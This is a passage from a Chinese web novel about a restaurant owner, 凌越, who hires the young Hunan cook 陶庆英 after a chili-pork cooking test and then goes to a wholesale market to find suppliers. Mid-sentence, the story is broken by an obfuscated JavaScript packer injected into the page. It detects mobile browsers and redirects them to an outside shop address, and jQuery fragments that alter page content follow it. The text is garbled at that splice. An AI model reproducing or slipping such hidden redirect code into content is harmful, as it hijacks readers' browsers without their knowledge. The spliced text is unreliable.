怎么说呢，这是她见过最明亮最干净的饭馆厨房。


    她突然间有点羡慕能来这里吃饭的人们，价格应该很贵，不是她这个刚毕业的准牛马能够消费得起。


    “看你的简历，擅长做湘菜？”


    湘菜，八大菜系之一，重油色浓，口味比较多变。


    “嗯！我是潭州人，从小就吃民间湘菜长大的，后来就读烹饪专业，顺势专攻湘菜，凌老板，我有过两段实习经历，但是因为我与后厨师傅各执己见，各自不欢而散……”


    陶庆英见着凌越面无表情翻看她简历的模样，一紧张将之前实习期间发生的事情全抖了出来。


    “以前的事我不过问，真好吃只看实力和勤奋，你先做一道菜给我看看吧，就做一道能体现刀工和火候的辣椒炒肉。”


    凌越指着灶台的位置，自己则站在陶庆英的旁边，就这样，认真看着她。


    陶庆英一时间有些手足无措，近在咫尺的菜刀都差点没找着，切肉的动作更是，有些颤抖。


    凌越：不应该啊，这孩子跟她在线上聊的时候，言语间没那么拘谨。


    “我有这么吓人么？”凌越不解地问。


    陶庆英连忙摇头：“不吓人，美得惊心动魄，我只是有些紧张。”


    凌越听完控制不住的嘴角上扬：“嗯，有眼光，开始吧，放心大胆炒，我不挑食。”


    “好的。”


    陶庆英全神贯注，辣椒炒肉是她最常做的一道家常菜，所以还算游刃有余，选用瘦猪肉和五花肉一起。


    凌越注意到陶庆英切肉的动作，斜着纹路切，这样猪肉嫩，也不至于塞牙。


    动作利落，肉片厚薄基本均匀，手有力。


    作为厨师，双手有力是最基本的，否则材质沉一些的锅都提不起来。


    切好菜，起锅热油。凌越多年烹饪经验，多少能从一个人的下厨方式看出其性格。


    辣椒她放得很多，火开大，炒断生，腌制好的猪肉倒入，全程都是用大火，以最快的速度炒完一道菜，辣味随着关火的动作顷刻间钻入在场所有人的鼻腔。


    “越越，你也做过辣椒炒肉，这姑娘的做法，跟你不一样，用的辣椒也不一样。”路仁凑到凌越身边小声地说。


    她点头：“嗯，是个果断的，但太着急，或许是之前在其他饭馆实习过留下来的后遗症，这都可以慢慢改。”


    陶庆英有些忐忑的将辣椒炒肉拿到凌越身边放下：“凌老板，您试试看。”


    她有些期待，也有些慌张。


    她还是很想留在真好吃的，毕竟这里的环境很直观的，就是比其他饭馆要好，有这么多的漂亮花朵作伴，就算每天上班十个小时，也能开心。


    但这还是要取决于凌老板，喜不喜欢她做的菜。


    这个在班里各项考核第一，整顿两家饭馆后厨的女子陶庆英，第一次心里没底。


    凌越夹一块辣椒炒肉送入嘴里。


    入口就感觉到辣椒味很浓郁，因为大火爆炒的缘故，味道已经呛到了肉里，这点很成功，但本身她味觉就敏感，这一呛，加上周围还未散的油烟味，她终于忍不住剧烈咳嗽起来。


    路仁见状赶紧拍拍凌越后背，一脸担心：“没事吧越越？喝点水缓缓。”


    “凌老板。”


    陶庆英也担心，她内心想完了，忘记问口味，她按照自己家乡的口味做的，这辣椒炒肉，全是辣椒。


    “我没事，你们也试试看吧。”凌越招呼路仁和邓一珩品尝，自己则是缓和好神色，抬头认真看了一眼陶庆英。


    “因为我不是潭州人，所以不好评价这道菜到底该是什么味道，只说菜本身，味道还算可以，另外还有一点我想说……下次再炒这么辣的菜，记得开油烟机，呛死我了，也辣死我了。”


    等着批评和拒绝的陶庆英：凌老板啥意思？


    路仁却是很快反应过来：“这一关厨艺算你过啦，到屋里来聊聊薪资福利待遇的问题吧。”


    陶庆英眼前一亮：“得咧！”


    她脱下围裙，小跑着来到饭馆内。


    凌越不是浪费食物的人，将刚刚陶庆英做的辣椒炒肉端到桌上，边吃边面试。


    “你期望的实习工资是三千五，转正后五千五，没错吧？”五千多这个工资，在长海这样的地方，不算多。


    毕竟房租都得有个一二千元。


    “是的！管不管饭都可以，而且我每天能够上班十个小时，绝不迟到早退。”


    “每天上班时间是早上八点到下午五点，但不是一直忙碌，我这儿的实习时间是一个月，这期间，不会让你真正做菜给食客们吃，而是我的帮厨，会不会觉得委屈？”


    陶庆英摇头：“不会。”


    “咱们饭馆目前人少，活多，所以每个人的工作岗位并不固定，你虽然是我的帮厨，但偶尔也要做些其他活儿，比如招待客人，端菜，打扫卫生等，会不会觉得不耐烦？”


    陶庆英再次摇头：“不会！”


    “会买菜么？”


    “不会！”


    “嗯？”


    “对不起，顺口了，会！”


    陶庆英显然比一开始更放松。


    “还有其他问题么？没有的话，那就签合同吧，我们有午饭，其他的注意事项，让你路仁姐姐跟你说。”


    已经敲定的人，就没必要多废话，合不合适，考察期再看。


    “倒有一个比较重要的。”陶庆英弱弱举起右手。


    “嗯？”


    “咱这能盖实习章么？”


    她只是一名被实习盖章支配的一枚实习生罢了。


    “有，可以。”


    “那我没问题了！”


    真好吃又添一员。


    夜晚，凌越调出任务面板，这些天充实且开心，差点忘记任务这一回事儿。


    “刀工值为什么才28啊，这么难提么。”凌越郁闷。


    虽然完不成任务没有惩罚，但她却是生出一股要征服这个面板的想法。


    总有一天它得显示999＋！华夏女人从不认输！


    【斯哈斯哈，越越，这个小学员烧的辣椒炒肉比你差多了，但也挺好吃。】


    “问你话呢，别老吃。”


    【当然是你现在基本都让员工们备菜咯，所以刀工值比火候值要低一点儿，不过你也不用太注意数据，现在我已经全面升级，28你可以当做288！】


    虽然绑错宿主，但既定好的数据不能随意改动，只能将错就错。


    “算了，我主要是来看一下营业额的，和路仁算的没差，确实是一个算数天才呀。”捡到宝了。


    次日，大晴天。


    凌越独自出发前往批发市场，饭馆要长期发展，肯定要有几个固定的供货商。


    当然有自己的农场更好，但这目前对


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14235494|148046||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    她来说是奢望。


    批发市场不像是菜市场那样热闹，来这里的基本都是商家，生意人与生意人的博弈。


    由于凌越年轻，而且还是新面孔，老板们一个个盯着她看，都想着要宰一把。但凌越却不在意，她有目标。


    禽类区域确实不太好闻，就算戴着口罩，但一路上各种异味还是在周身环绕，比臭鸡蛋的味儿还难闻。


    凌越找到之前合作过一次的养鸡老板，是个五十岁左右的中年大叔，皮肤黝黑，正在店里抓鸡。


    见到凌越，还震惊了会儿。


    毕竟搞养殖这么多年，他第一次遇上亲自挑选二十只鸡让他负责拔毛，而且选的还是平时最活泼爱跑的走地鸡，那肉质，弹牙的咧。


    “老板你好，上次走得匆忙，听说你在长海专门搞养殖场是么？”


    “是，是。”大哥擦一把额头上的汗，笑着点头。


    “今天下午有时间么？我想去您的养殖场看看，顺便跟您谈一笔生意。”


    她更偏向于跟买过的商家合作。


    严选的，有保证。


    这大叔家里走地鸡应该不少，不过还得亲自瞧一瞧，养殖场的卫生环境也得了解。


    “当然可以！”大叔走进店里洗干净，这才拿纸写上地址和号码递给凌越，“随时给我打电话。”


    “好的，再帮宰两只鸡。”凌越又伸手指定两只。


    被她点到的公鸡，咯咯叫，想跑，却被大叔遏制住命运脖颈。


    *


    凌越提着大包小包食材回到饭馆时正好是八点，员工三人已经蹲麻了。


    凌越看着冷风中等待的三人，一脸歉意：“不好意思啊，下次如果来店里没见到我的话，可以先回家。”


    令她没想到的是，陶庆英也已经到达饭馆，看样子，也跟着等了蛮久。


    “我给你发了消息，但你没回。”路仁委屈。


    “我的错～厨房里有煮着鸽子粥，都吃好后就开始干活吧。”


    路仁一听到吃的，立马来了精神。


    陶庆英同样。


    刚刚一直听路仁夸赞凌越的厨艺，没想到这么快能尝到！


    鸽子粥是保温的状态，肉被去掉了骨头，可见烹饪之人的耐心，光是这一点，就让陶庆英佩服。


    而她的佩服不仅如此。


    冒着热气的鸽子粥，喝一口暖胃，晶莹的香油稀碎地附着在粥的上面，点缀绿色的葱花，香。


    虽然鸽子有着“一鸽胜九鸡”的说法，但鸽子肉却很腥。而面前这碗粥没有腥味，还保持了鸽子的鲜，米的口感清香绵软，好吃绝了。


    可以说，这碗鸽子粥，是她二十年人生中，吃过最香的一顿早餐！


    凌越悄然走到正在喝粥的陶庆英旁边，“能吃出来这粥里，都加了什么米吗？”


    厨师，不仅要会做菜，而且得学会品鉴，要能吃出名称。


    “珍珠粳米？好像还有香米，鸽子肉应该有事先爆香过，因为肉没那么白，反而有些焦脆，很好吃！”


    陶庆英一边吃一边说道，她看着凌越，试图从她的神情中赶紧知道自己说得到底对不对。


    见凌越点头，顿时松一口气。


    “说得不错，鸽子肉我事先用姜片和料酒爆香，下次教你，鸽子肉怎么脱骨。”


    这锅粥是她特意煲的，就算只是帮厨，她也不会吝啬传授烹饪技巧。